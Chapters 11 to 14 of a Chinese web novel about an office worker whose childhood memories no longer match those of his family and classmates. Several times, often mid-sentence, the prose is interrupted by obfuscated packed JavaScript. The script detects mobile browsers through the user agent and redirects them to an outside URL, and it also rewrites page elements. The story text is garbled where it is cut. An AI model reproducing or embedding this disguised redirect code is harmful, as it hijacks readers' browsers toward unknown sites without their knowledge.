l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974449|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到菜单上了。 和几个陌生人一块喝自己起名的小酒,感觉还是挺奇特的。 杜鸻自己坐在一边,手机里的信息一条一条地往外蹦。 他没去,信息也没回。孙勇给他发了十来条信息,何方也是,何方还给他打了语音电话,但他也没接上。群里也闹翻天了,孙勇直接在群里问其他人要他的电话号码。 可他们这些初中同学都多少年没联系了,哪儿还有什么号码。 杜鸻摁灭屏幕,真懒得理。 望老板忙完了,坐在吧台后面跟他聊天。 “遇到事儿了吧?我不介意听,就看你介不介意说了。” “望老板,在你这儿是不是经常都能听到很多故事啊?” “也不经常,看人愿不愿意说吧。” 杜鸻没什么不愿意的,他挑挑拣拣地给望老板说了一遍。 望老板点点头,“正常,这人不就这样么,没事的时候打死了都不联系,有事儿的时候就开始催命了,好像自己欠他什么一样。” 杜鸻狠狠赞同,“对!” 望老板也说起自己的事儿,“一样,我年轻的时候也遇到过这么几个,当时我傻啊,人让帮忙,我觉得也就是动动嘴皮子的事儿也就帮了,你猜结果怎的么?帮上了的呢,一句感谢没有,把人给我撬走了,没帮上的呢,完了天天在微信上骂我,给群里抹黑我。” 杜鸻看着望老板愤懑的样子,觉得有点神奇。他之前一直觉得这望老板只对他的酒上心,对其他的事儿都是淡淡的,但是没想到对待人和事也还有这么鲜活的一面。 “然后呢?” “然后?”望老板哼笑一声,“然后这些人全部被我拉黑了。都不是什么要紧的人,看着就烦,谁稀罕跟他们有交情。我这人呢,骨子里就独,有朋友也行,没有也行。后来我找了个算命的师父问,如果要远离无效社交,我能做什么工作。他就问我有什么爱好。我说喝酒。他说那就开个酒馆,不用太大,但他保证我绝对能赚钱。” “原来这才是这小酒馆的来源。”杜鸻感叹道。 他又看了一遍这个小酒馆,是真的不大,而且隐秘,甚至入口都很小。光是入口就已经把客人都筛一遍了。 “这酒馆开了多久了?” “这啊?少说十年了吧。” 又来客人了,望老板看了眼手机里的订单,又起身调酒去了。 等到望老板再闲下来的时候,杜鸻都已经喝了两杯抽丝了。 “再来一杯?”望老板问。 “不了。”杜鸻忙摆手,“劲儿太大了,我今天早上迟到了两个多小时,差点被组长活剥了。” 望老板不客气地哈哈大笑了几声。 杜鸻摩挲着杯沿,思来想去还是把心中所想问了出来,“望老板,当初你找的那个算命师父有留下联系方式么?” 望老板立马掏出手机,“有啊,推给你。” 杜鸻和望老板加上了好友,收到了望老板推过来的人。 他看着熟悉的头像,想到了自己在网页小弹框里加的那一个。 “这就是那个师父?” “是啊。不过我好多年没联系过他了,不知道他现在还帮不帮人看。你看着问。”望老板继续新来的客人调酒,“他收费不贵的,我个人觉得蛮准。” 杜鸻点头,“那我问问的。谢谢你啊望老板。” 望老板笑了一下,“客气。” 11. 第 11 章 第二天杜鸻一大早就递交了退居二线的申请,以后只负责维系一般的基础的老客户,至于像阳总那样的大客户,他没精力跟,也跟不起了。 他的申请是直接发给经理的,抄送给马组长。 按照原来的规定,他是应该直接发给马组长的,但是他知道马组长这个人一点都不靠谱,上次打报告加薪和提点的事儿他肯定没给经理说。现在他想要把阳总的业务打包抛出去,怕是马组长为了给公司找一个背锅的,不,准确来说是应该给自己找一个背锅的,也不会轻易同意这一点。 他不清楚经理在这件事里扮演什么样的角色,但至少,他的诉求已经经理知道了,就算经理那边拒绝了,他的心里高低也好受一点。 经理还没批复,马组长就已经先找他了。 还是那个小会议室,马组长还是坐在那个上位。 “你什么意思?”马组长先发制人,“怎么,跟阳总的单子还委屈你了?这是多少人想有都没有的客户,到你这儿就变成烫手山芋了?阳总没主动把你踢走就不错了,你还想着把阳总踢了?杜鸻你怎么这么能呢你?” 杜鸻摆烂道:“组长,我觉得你说得对。阳总对于公司确实是一个不可多得的客户,毕竟这几年最稳定的还是阳总,虽然阳总这个人签单的要求刁钻又难搞,但还是给了咱们公司带来了不少利益。现在我是自愿把阳总这个大客户让出来的,谁喜欢谁接吧,我一点怨言没有。” 马组长闻言又要喷,他立马说:“组长,我知道你非常期待和阳总的合作,这样吧,这么好的客户不跟实在可惜了。据我所知组长你也很长一段时间没有新的客户了吧?最近签单也少。这样,我把阳总这个客户过给你,包括这次签单拿到的提成我也会过给你三分之二,我就拿个辛苦费,后续的维护还需要组长你辛苦了。” 马组长被怼得哑口无言,一句话都说不出来。 “没事的话我就先撤了。”杜鸻才懒得管马组长是个什么心情,扭头就离开会议室。 他平时是不喜欢和人争执,但不代表他就真的是个软柿子。 从办公室里出来后,严潘和他的小徒弟又过来凑热闹。 杜鸻不想在一切尘埃落定之前多说什么,随便糊弄过去了。 下午经理找他去办公室聊了聊,甚至还问了他是不是有要辞职的想法。他老实说了自己的情况,虽然没有摆出自己的就诊结果,但看经理那个样子也信了几分,这样就够了。 他回来后没多久,他们的小组群里就出了一个新的工作变动通知。 他们每个人手头到底有什么样的客户都是公开透明的,虽然这不利于组内的团结,但是却能从一定程度上减少抢客户或者是利用公司资源发展自己的私活儿的情况出现。 如马组长所说,阳总这样的大客户确实是组里的人都想要的。但阳总也毕竟是一个大客户,不可能说直接放到群里问谁想跟,那是对阳总的不尊重。 也如杜鸻所料,阳总最终还是被马组长抢走了,其他的那些大客户,被分散到了各个同事手上。 “不是,啥情况啊,你不干了?”严潘惊诧道。 杜鸻反问他,“我手头还有客户,怎么能算不干了?” 严潘说:“给你留下的那些客户有几个是我们的常客户?一年你能出个两单就偷笑了。尤其是阳总,你不觉得可惜啊?你老实说,早上那一吵是不是得罪老马了?否则他能这么干?” 小徒弟也很慌,“师父你不会真的要离职了吧?别啊师父!” “你们俩再大点声?”杜鸻无语地看着这俩人,他俩的声音大得几乎都要把其他人给招过来围观了,“没离职,没得罪,只是单纯地退居二线养老了。” 严潘:“为啥?不是,你年纪轻轻……” “嗯,年纪轻轻就脑子有病。”杜能把严潘和小徒弟推走,“就单纯地想摆了不行啊?走走走,干你们的活儿去,一会儿我挨个发交接资料啊。” 交接资料他其实早就整理好了,就等着最终的分配结果。 现在分配结果下来了,他自然可以把所有东西都交接出去了。 东西交接完的那一刻,尤其是把阳总的那部分交接出去的时候,他整个人都神清气爽! 阳总那边暂时没什么动静,他也就省得去找阳总解释什么。 最后两个小时他没什么事,干脆点开望老板给他发的那个大师的账号。一点进去,他发现自己和那个大师已经是好友了,再一看添加时间,可不就是他在小弹框加人的那天? 这世界还真是…… 巧了。 他在工位上琢磨了很久,勉强琢磨出一段合宜的话,给大师发了过去。 大师回复得很快。 【大师:终于等到你了,缘主。】 【杜鸻:大师一直在等我。】 【大师:不错。】 大师都这么说了,杜鸻一咬牙,决定还是算一算。 【杜鸻:一个朋友推荐我过来的,说大师神机妙算。我也想请大师给我算一算,看看我最近运势如何。】 【大师:当然可以。】 【杜鸻:大师,算一次怎么收费?】 【大师:108起随,多少看缘主心意。】 108元! 杜鸻深吸一口气。 别说是随喜了,他平时就是出去吃一顿都没有超过七十块的,现在让他一次性随一百零八,还真的是有点为难他了。 【大师:缘主可还在?】 【大师:随喜随意。不过缘主近期应该是遇到了实在是无法解开的谜团才来找我。当然,如果缘主暂时还不想解惑也没关系。】 大师都这么善解人意? 杜鸻对此表示疑惑。 但秉着“问都问了”的原则,他还是继续做了咨询。 【杜鸻:大师,我听说人的肩膀不能乱拍,容易拍掉一个人的阳气,是真的吗?】 【大师:不错,如果这个人和你还有一点摩擦,那这个人拍你的肩膀,很有可能会从你身上借运。】 【杜鸻:我最近梦到了曾经去世的前同事,梦境太真实了,好像自己亲历过一遍似的。而且最近我频繁地遇到“11”这个数字,或者是“23”,这是在暗示我什么吗?】 这回大师没有立即回答。 过了一会,大师发来了一个表情包。 【大师:(你有难了.jpg)】 杜鸻:“……” 倒也不用这么直白。 【大师:也不是不能解。】 【大师:缘主可否先描述一下梦境是怎样的?梦到去世的人有好几种原因,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974450|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得先了解清楚缘主的梦境具体如何。】 杜鸻把自己的梦境想想细细地说了一遍。 大师又沉默了一会。 【大师:缘主怕是不仅被人借了运,还借了命了。】 杜鸻心头一跳,但很快又冷静下来。 他虽然算不上一个严格的无神论者,可现在这大师说的已经完全超脱了他能接受的范畴。 借运他能理解,借命什么的,怎么可能? 这简直就是封建迷信! 杜鸻冷静下来后想听这个大师怎么说。 【杜鸻:这……可这需要怎么操作?好像我的身边并没有出现过什么异常情况。】 【大师:最简单的,对方只要拥有你的毛发,再请厉害的大师就可以完成借气运的术法。气运气运,运就是你的运气,气是一个人的根本。如果气运被借走了,那就等于在耗命啊!】 耗命…… 杜鸻被说得背后发麻。 这种话他从阳总嘴里听到过。阳总说过云大师给他的那个香包就是保命用的,但原因是,他常年做梦,本来就容易消耗气血。而他用了那个香包之后也确实没怎么做梦了,气色好了不少。 可这到底是香包的作用还是他的心理作用? 【大师:缘主还在么?】 【大师:缘主可是经常做梦?】 杜鸻被大师的说法吓了一跳。 【杜鸻:大师真是神机妙算。】 【大师:神机妙算算不上。做梦是每个人的本能,但是能把梦境记得这么清楚的少有。一般梦境相对成熟,且贴近现实生活的,有或者是过往生活的真实写照的,通常是因为你的灵魂在你入睡的时候经历了时光回溯,让你在梦里重新经历了一遭。】 杜鸻心脏怦怦直跳。 这个解释简直和他的想法不谋而合。 他,他也这么想过,可没人能信,只有他自己觉得就是有这样的可能。 杜鸻抖着手问。 【杜鸻:大师,那这种情况怎么解?我先前一个客户身边就有一个大师,初次见面的时候给了我一个安神的香包,确实有用。可后来没有再用了,总觉得那不是什么好东西。大师,您看我有重新再用的必要么?】 【大师:用了之后感觉如何?】 【杜鸻:无梦睡到大天亮。】 【大师:那就是有用的。看来你遇到的这位也是一个颇有道行的。】 【杜鸻:那能继续用么?】 【大师:可以。不过我需要提醒缘主一句,如果气养好了,运却回不来,还是得重新再找破解之法。】 【杜鸻:多谢大师。】 杜鸻随了288。 已经完全超过了他原本的预算。 “我靠,谁啊,值得你转个288!”严潘又不知道什么时候站在他背后的。 他把手机往桌面上一盖,有点心虚,“知不知道尊重人隐私?” 严潘正义道:“我这是怕你被骗了。” 杜鸻眉头一皱,心里更虚了一点,但是死倔,“没有!是熟人,你管呢?” 熟人推荐的也算是熟人。 严潘嘴里说着“行行行”走了。 晚上杜鸻睡觉的时候重新把那个香包放在了枕头下。 一夜无梦,一夜好眠。 12. 第 12 章 连着一周,杜鸻都在用那个香囊,他也连着一周没再做过那些费神的梦,就连之前医生给他开的谷维素也没有再吃了。 “你最近气色好了很多啊。”严潘路过杜鸻身边的时候说,“是不是跟上次那个288有关?” 杜鸻“啧”了一声,“没有。你活儿干完了?这么闲?” 之前杜鸻让出去的那几个大客户里面,有一个就正好分给了严潘。这段时间严潘忙得不行,没少吐槽他。 严潘果然黑脸了,“我知道了,你这是卸掉了包袱了,开始轻松了是吧?难怪我说你最近的气色这么好呢。果然是闲气养人啊。” 杜鸻笑了一下,没搭腔。 这当然和他闲不闲的没什么关系,主要还是得益于那个云大师的那个香包。虽然他真的很不愿意承认,但那个香包也确实是真的有用。 马组长匆忙地拿着包和资料离开了办公室,路过杜鸻身边的时候还瞪了杜鸻一眼。 杜鸻:“?” 小徒弟看见马组长走远了才说:“师父你不知道,最近马组长可忙了,好像是阳总那边有什么新的项目吧,马组长为了谈下这个项目,每天都往外跑,估计就是被阳总折腾的。” 严潘说:“哎,那也是咱们组长的福报啊,是吧?毕竟阳总那么大个客户呢,这要是把人拿下了得拿到多少的提成啊?杜鸻啊,你就甘心看着阳总这么大个客户给他了?” 杜鸻瞥他,“那这个客户给你你要不要?” “那我是不要的。”严潘打开手机游戏,“我这人呢不求上进,阳总这种大客户不是我能接触的。算了算了。” 他们刚聊完,阳总就发来了消息。 【阳总:老弟啊,听说你真的退居二线了?难怪我说最近这段时间怎么总见不到你呢。还是得说啊,咱们合作那么多年,有些东西还是只有你最懂我。这样,老哥也体谅你,以后呢乱七八糟的事儿不要你做了,有小马帮忙跑就行。这样,明天你来我会所一趟,我给你个新项目。】 杜鸻头疼。 他毫不犹豫地拒绝了阳总的邀请,并且摆明了自己的态度以及他们公司的规定。 阳总像是没看明白他的拒绝似地,开始装疯卖傻。 【阳总:行,那没事儿,你多考虑几天,反正这个项目不急,我等你的消息。】 刚把阳总的对话框叉掉,孙勇的对话框就顶了上来。 【孙勇:杜鸻,上次聚会你没来,我都忘了你这个人不喜欢热闹。这样吧,明天周末,你应该没事儿吧?咱们今晚找个地方喝两杯?我保证这次绝对没有别人。】 杜鸻拧眉,这人怎么这么烦? 【孙勇:杜鸻,不瞒你说。我呢,是比大家出来得早,但是现在也不好混啊,现在这个社会谁不看学历呢,是吧?我也难,真的,你帮帮我,我绝对不亏待你。以前咱们虽然没有太深的交集,但也不算是仇人吧?我跟何方那天喝得都挺愉快的。】 何方那天做了孙勇的说客,但非得往前推的话,这两人以前就是被欺负方和欺负方的关系。 孙勇早在学校那会儿不仅爱闹腾,也没少欺负人,何方就是其中一个。 所以那天何方来当说客的时候,杜鸻才压根没听。 看这样子,阳总对孙勇来说还真的挺重要的。 可他也确实帮不上什么忙。 杜鸻随便找了个借口回绝后,下班前就提前找了个理由溜了。 他回自己的出租屋里拿了香包后再回的家,正好这周说好了要陪爸妈吃饭。 林桂女士做了一桌的菜,也提到了他的精神状态,“最近状态好像好多了啊,是不是给你调工作了?还是交女朋友了?什么时候带回来看看?” “没有,我把几个客户转出去了,退居二线了,轻松一点。”杜鸻补充道,“没有女朋友,您别老说这个事儿。” 林桂女士:“你也老大不小了,阿鸻啊,爸妈呢也不是说非得催你,但是你自己也得有点儿动静啊,是不是?爸妈老了,还能陪你几年?你要是自己主动一点,爸妈也不至于这么操心。” “你妈说得没错。”杜俊朗先生也接了话头,“你说你怎么越长大越沉闷了呢?以前初中那会儿你还给班上的女同学写过情书,不过那会儿你年纪小,情书还没送出去就被你妈先发现收缴了。但你不死心,又写了好几封,虽然都没送出去,可你小子从那时候开始可是挺会讲情话的啊。而且你妈把你生得这么帅,是吧,长得像我,怎么就不知道给自己找个媳妇儿呢?” “嗯嗯嗯。”杜鸻埋头吃饭,他一向都把他爸妈唠叨的话当成耳边风,左耳进右耳出,根本不会去思考也不会去记,说过什么他就当听听。 接着他就慢半拍地反应过来,“爸你刚说什么?什么情书?” 杜俊朗先生放下筷子,“这么有记忆点的事儿你忘啦?你这孩子。哎哟,看来你当初也没有多喜欢那个女孩子嘛,连给人家写过情书都不记得。” “……”杜鸻脸上震惊,心里茫然。 不是,他真干过这种事儿? 不能够! 他绝对没有写情书这种爱好,从小到大他也没有喜欢过谁,这点他非常肯定和清楚。他但凡是个情绪这么丰富的,从初中开始就知道什么叫情窦初开了的,还能至于到现在都没有半点恋爱经验么? 那不可能。 “我没写过情书。”杜鸻坚定道。 林桂女士说:“怎么没有?我都给你收得好好的!” 杜鸻:“我不信。” “你不信?等吃饱饭我找给你看。”林桂女士也倔起来了。 吃饭完,林桂女士从楼梯下面的小空间里翻出几个塑料收纳箱,“这里面都是你小时候的东西,有我收缴的,有别人送给你的。我记得应该在这个箱子。” 林桂女士的记性确实不错,没多会儿就从巷子里翻出了几个颇有直男审美风范的信封递给杜鸻,“你自己看,是不是你的笔记?” 杜鸻半信半疑地接过信封,小心地拆开,把里面的信拿出来。 林桂和杜俊朗伸头想看,杜鸻赶紧把信挡住。 他眼睛微眯了一下,短暂地恍惚了一瞬,觉得他的这个动作有点熟悉,好像曾经做过似的。 他靠在楼梯扶手上看信。 开篇的名字他就没有印象。 张悦佳是谁? 他只记得他初中的时候有个女同学叫张悦,但不是张悦佳。 当年他还因为把“张悦”错写成“张越”,差点害得人家报名没报成功。这事儿太让人印象深刻了,所以他一直记到现在。 告白信里的字体是他熟悉的字体,但是行文风格完全跟他本人的风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974451|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格无关。 “妈,这你哪儿收来的?不是我写的。这张悦佳我都不认识。” 林桂一听,看了丈夫一眼,“怎么能不认识呢?我都有印象。老杜你说是吧?这姑娘以前不是来咱们家给杜鸻过过生日的么?那会儿大家一块来的,杜鸻请了好几个班上关系好的同学。哦对,还有孙勇,孙勇那孩子之前还和咱们是邻居呢,还有何方那孩子,何方不是你那同事的孩子么?当时都和杜鸻在小区院子里玩。” 杜俊朗思索了一下,“是啊,是有这么回事。好像听说前阵子孙勇回来了。” 林桂惊讶道:“回来啦?他们家不是早就从小区里搬走了吗?” “是啊,但房子一直没租出去。说是这边清净,回来住一段时间。” “这孩子啊,不忘本。” 杜鸻听得云里雾里。 他怎么觉得他爸妈说的每个字拆开来他都听得懂,但是一连起来就完全对不上了呢? 张悦佳他不认识,孙勇和何方这两个人的名字倒是没错,但是这孙勇什么时候是他们家邻居了?何方又什么时候跟他在一个院子里玩过了?他记得是上了初中后才认识的这两个人。 现在听他爸妈的意思,他们家和孙勇、何方两家认识挺久了? 杜鸻问:“听你们的意思是,你们跟孙勇和何方的爸妈都熟啊?” 杜俊朗“哎哟”了一声,“你小时候还去你何叔家拜过年,你忘了?以前你很喜欢跟何方一起玩,也不记得了?” 杜鸻:“……” 林桂把手里的信拿过来,奇怪道:“怎么了儿子?刚还说你气色好呢,怎么年纪轻轻的记性差成这样?自己喜欢的女孩子不记得了,一起玩到大的朋友也不记得了?” “……我当然记得他们两个,我只是不记得你们和他们的爸妈也那么熟。”杜鸻脑子乱糟糟的,剩下的东西他也懒得看了,“我去洗澡了,困,先上去睡了。” 林桂女士在后面喊:“这才几点?这么早就睡啊?好不容易回来一趟不多陪我们聊聊天啊?” 杜鸻摆手,“明天好吧,今天真累了。” 林桂女士还想再说什么,被杜俊朗先生拉住了。 “行了,上一个星期班儿了,让他休息休息,明天周末,有什么明天再说。” 林桂女士没忍住嘀咕,“不是,你没发现他不对劲吗?刚才他对以前的事情表现得好像好陌生一样。你说他不会累出什么毛病来了吧?之前发烧那次也是,都烧成那样了一开始还不乐意去医院,还是我强压着去的,中途接了电话还想直接走,吊针都没打完。” “明天再说明天再说。”杜俊朗先生继续当和事老。 杜鸻洗完澡后回了自己的小阁楼,他把香包放到枕头底下,躺上去开始复盘他爸妈今晚说的话。 复盘完,他还是对那些事儿没有太深的印象。 他从角落里把之前整理的相册翻出来,里面有他们的毕业照。 他找到初中的那张,先挨个对了一遍人脸,发现自己都熟,只是记不清有些人的名字之外,没什么毛病。 他把照片反过来,再挨个对名字。 记忆从张悦佳那儿开始乱的。 在他的脑子里,有着那张脸的人叫张悦,可背后名单上却清清楚楚地写着“张悦佳”。 那张悦是谁? 13. 第 13 章 “啊啊啊杜鸻!”女生带着怒意的声音在耳边响起,“竖心旁的悦,不是走字底的越啊!” 杜鸻看着周遭的环境只愣了一下,接着他听见自己问:“划一杠没事儿吧?” 女孩打了一下他的胳膊,把纸笔抢过去,“我自己来吧真的是,烦死你了。” “……我又不知道你的是哪个字。”杜鸻觉得无奈又委屈。 他平时就不怎么关注班上女孩子们名字的具体写法,哪能想到平时挺男孩子脾气的张悦在名字里竟然用的是竖心旁的悦。 他看着张悦把自己的名字补全后又把报名表推了回来,“这次记住了?要是这次报名失败的话我真的锤死你。” “……女孩子,不要这么凶。”杜鸻说完,仔细地记住了张悦的名字,“我这次肯定记住了。” 张悦抱着胳膊“哼”了一声,问他,“你是就记不住我的名字怎么写还是记不住全班女生的名字怎么写啊?” 杜鸻想也不想地道:“别说女生,我同桌的名字除了姓,后面两个字怎么写我也记不住。” 没多会儿同桌回来了,“你们聊什么?” 张悦说:“没什么,就是杜鸻说他记不住你的名字怎么写。” 同桌无所谓地说:“这有什么?我到现在也记不住‘杜鸻’的‘鸻’字怎么写啊。阿姨当初怎么给你起这么个字,见都没见过。” 杜鸻轻拍了一下桌子,“是你没文化好吧?‘鸻’,用在名字里面意味着适应能力强,上哪儿都不怕适应不了,颤抖吧你!” 同桌敷衍道:“得得得,抖抖抖。你牛逼,你有文化。” 吵闹完了之后,上课铃响了。所有人第一时间全部归位坐好,等着老师来上课。 他们初中不大,所以对所谓的尖子班和平行班区分其实不太明显。哪怕他们班标榜尖子班,依旧有很多人上课不听课,在后边捣乱。为首的就是孙勇,其次是何方。 杜鸻听见后面的动静,只是回头瞥了眼,就看见孙勇对他做口型。 “看个屁啊看!” 杜鸻面无表情地转过头,心里想到,他看的确实是个屁。 转眼杜鸻就上了高中。高中宿舍八个人一间,特别拥挤,几乎是对床的两个人同时下床都能互相碰上的那种。 一开始谁都不习惯,杜鸻也是,还想着跟家里边说退宿的事儿,哪怕自己办个走读,平时辛苦点儿都行。 然而还没等他开口,只是过了个军训,他就已经习惯了集体宿舍的生活。而且八个人的宿舍在他们学校里已经算是人少的了。还有一些入学晚的,被排在了后边,只能住几十个人的大宿舍,每天洗澡跟排队打饭似的,那才叫苦呢。 眨眼高中三年又过。 杜鸻高考发挥失常,原本铁定的211泡汤了,只能去上了个比较靠前的一本。好消息是学校就在本市,也不需要他到外地去上学,免了每个假期抢票的苦。 他大学学的是计算机,大大小小的比赛也参加过不少。有一回更是为了比赛熬了三天大夜,比赛一结束,他立马回到宿舍补眠。因为他觉得自己再不睡,那真的得原地成仙了。 梦里,他和高中同学在初中学校的操场上搞体测,差点没把他跑废了。 “杜鸻,有人找。” “杜鸻,起来了。” “杜鸻不会不在宿舍吧?阿明你上去看一眼。” 耳边隐约传来了同学的声音,杜鸻还感觉到有人推了自己一把。他非常不明智地回头,却发现自己身后根本没人。 不仅是身后,就连刚才还在跟他一起体测的同学也都消失得无影无踪。 他只是愣了一下,但是没有心慌。 杜鸻非常清楚地知道自己是在做梦。他之前也经历过这种事,人在梦里醒了但在现实生活中还睡着,他就得想办法从梦里出去。 外面谁推的他啊,再推一下啊! 外面始终没有别的动静。 杜鸻开始跑,离开操场,跑向教学楼,跑向校门,找一个能让他从这个梦里离开的地方。 突然,他听到了一声无比清晰的“杜鸻”。 他望向声源,第一时间睁开了眼睛。 “卧槽,你终于醒了,我还以为你死了。”阿明松了口气,三两步从楼梯上跳下去,“刚有人找你,好像挺急的。” 杜鸻用力地闭了下眼睛,用力地坐起来,疲惫道:“那人呢?” “当然走了啊,你一直都不醒。”阿明拍了拍胸口,“你不知道,你真的差点把我吓死。要不是你还有呼吸,我真以为你过去了。” “我靠,阿明你别乌鸦嘴啊。” “对,你别乌鸦嘴。我就是太累了。你熬三个大夜试试?”杜鸻摸出手机看了眼,发现竟然没有一个人找他,那刚才着急忙慌找他的那个人是谁?真要有什么急事,他没醒不会给他留个言么? 那就是没什么重要的事儿。 杜鸻放下手机,再次倒回了床里。 阿明在床下问他,“你又睡?你不去找一下?” 杜鸻:“我都不知道谁找我,我去找谁去啊?也没有人给我发信息。再来就再说吧。” 只一秒,杜鸻又睡沉了。 这次好像没再做梦。 意识迷糊了两秒,耳边又传来若有若无地喊声。 杜鸻不耐烦地再度睁眼,他看着熟悉但是空无一人的宿舍,顿时又醒了。 又是梦? 杜鸻微眯起眼,认真地想了想。他虽然想不起来自己在梦外到底是做什么的,但他至少能确定的是,他现在就是在做梦。 既然他在梦里醒了,那就得找到出去的出口,否则他就得被永远困在这个梦里了。 他这下也不累了,赶紧下床,离开宿舍。 偌大的校园里空无一人。 果然是梦。 他跑到一楼,跑向校门。 上一个梦他被困在了初中的校园里,这个梦他被困在了大学的校园里。 不管还有没有下一个梦,只要他从这个场景里出去,就离醒来又近了一点。 距离校门还有五十米。 还有二十五米。 还有五米。 最后剩下一米。 校门外是模糊不清的世界,像是被白雾淹没了一样,什么都看不见,什么都看不清。 杜鸻放慢了脚步。 还剩下最后半米。 只要再跨一步,他就能离开这个场景。 可前面看不清啊。 他犹豫了,迈出去的脚步顿在半空。他不敢踩下去,不敢跨出去。他想回头看看,看看身后的校园是不是还完整。 他即将回头的瞬间,耳边传来清晰地一声“嘿”。 他吓得一个激灵,抬起来的脚顿时落在校门外的地上。 没踩实,他身体一歪,直接掉出去了。 “咚”的一声,杜鸻感觉到自己一脚踩空,猛地从床上醒了过来。 他的胸膛因为紧张而猛烈地起伏着。 他看着本该熟悉的陈设,脑子慢了半拍才从他杂乱的记忆里调出和这个世界相关的记忆来。 他的实感缓慢回笼,“这又是梦?” 他掐了一下大腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“来了啊,进来进来。”孙勇赶紧把杜鸻往家里领,顺手想关门的时候被杜鸻拦住了。 杜鸻说:“门就不用关了吧?我坐会儿就走。” 孙勇眼睛里暗光一闪,松口道:“也行。你这带的什么?你进门我就闻到香味了。” “我妈做的。”杜鸻找了个位置坐下,“我们开门见山吧。你找我到底是为了什么?” “一起吃啊。”孙勇把饭盒打开,“真香。杜鸻,阿姨的手艺越来越好了啊。好久没吃这一口了,馋死我了。” 杜鸻皱眉,“你还什么时候去过我家?” 孙勇“哎”了一声,“初中的时候啊,那会儿不三天两头上你家去吃饭嘛,你忘了?” 杜鸻脸上出现几秒的茫然,接着摇了摇头。 “没印象。” 孙勇一听,笑了声,“前面听阿姨说你记忆退化得有点严重我还不信,现在信了。所以你也不记得以前给张悦佳写情书的事儿了?” 杜鸻无语,杜鸻头疼。 他老妈怎么什么都跟外人说。 杜鸻:“信都没给出去你怎么知道的?” 孙勇夹了一筷子醋溜白菜塞嘴里,含糊不清道:“我怎么知道的,我帮你参谋的我怎么知道的。” 杜鸻:“……” 这又是他记忆里没有的事。 他可能真的没救了。 这次云大师的香包都没用了。 14. 第 14 章 和孙勇聊天阳总的事情之前,杜鸻先问了一遍自己的事儿。他重提了张悦,可孙勇却一直在跟他争执“张悦”的全名就是“张悦佳”,班上根本没有什么人叫“张悦”,一定是杜鸻自己记错了。 杜鸻又问了何方的事,结果得出的结论是,孙勇和何方才是真正的发小,俩人以前就是一块长大的,幼儿园和小学都一块念的。他们到了初中才认识的杜鸻,才慢慢开始和他有交集。 还有其他的一些事。 总之没有一个和杜鸻的记忆是对得上的,他就像是一个局外人,一个旁观者,现在接收到的是别人的记忆。 那他自己的呢? 那那些在他脑子里根深蒂固的记忆又算什么? “杜鸻,你不是真病了吧?你真退居二线了?”孙勇越听越觉得不对劲,“那这样,我也没想为难你,真的。主要是这个阳总对我来说真的非常重要,如果我拿不下他,我以后在公司就没法混了。现在整个公司学历最低的就是我,还没把我开了那是因为我手头上掌握着几个比较大的资源,但现在市场不好,你也知道啊,要是我再没有新的客户,拿不下阳总,那我手头上的这些资源也迟早成为别人的。” “这样吧,你就帮我这一次,不用干什么,就是帮我引荐一下。我现在根本就见不到阳总,也根本不知道上哪儿找他去。只要你带我见到他,剩下的我自己来,绝对不再让你出面。” “何方应该给你说过茶水费的事儿吧?这事儿是真的,我自掏腰包的那种,绝对不会让你亏了。” 孙勇说得情真意切,杜鸻觉得自己再不答应,孙勇就要跪下来求他了。 “好吧,”杜鸻勉为其难,“这样吧,先说好,我只负责带你去召阳总,但是只能制造偶遇,不能让阳总知道是我特意带你去的。我已经退居二线了,和阳总有关的工作早就已经交接给别人了,我也不想再给自己惹什么麻烦。” 孙勇感激涕零,紧握着杜鸻的手说:“谢谢谢谢,你真的救了我的狗命了。” 杜鸻回家后,第一时间约了自己的心理医生。 上次医生给他开的药到现在他都没有吃过,就是因为他觉得自己还没严重到要换药的情况,而且后来事实也证明了,他的记忆没有问题,是阳总他们配合修改了他电脑里的东西,重新换了合同里的内容,就是利用他睡眠不好,记忆容易混乱这个弱点。 可现在他的记忆是真的出问题了。 他爸妈不会骗他,就算是想要跟他开玩笑,那些信怎么算?上面的笔迹是他的。就算信也可以伪造好了,那孙勇的怎么算?他总不能和他爸妈早早地就串通好吧? 图什么呢? 骗他有什么好玩的?能得到什么呢? 他们不是利益共同体,没有必要做这种事。 而且他老妈绝对不可能拿这种事来开玩笑。 诊疗室里。 “你的意思是,你的记忆和周边人提供给你的记忆事实不符,是这样吗?” “对。我一开始以为只是一件两件事和我的记忆对不上。我知道这种情况是正常的,毕竟一个人不可能记得所有的事情,有时候记忆不深所以对不上,多对几遍可能就能想起来了。可现在不是这样,我和我的同期同学对过了,他们和我的家长的记忆对得上,但和我的对不上。” 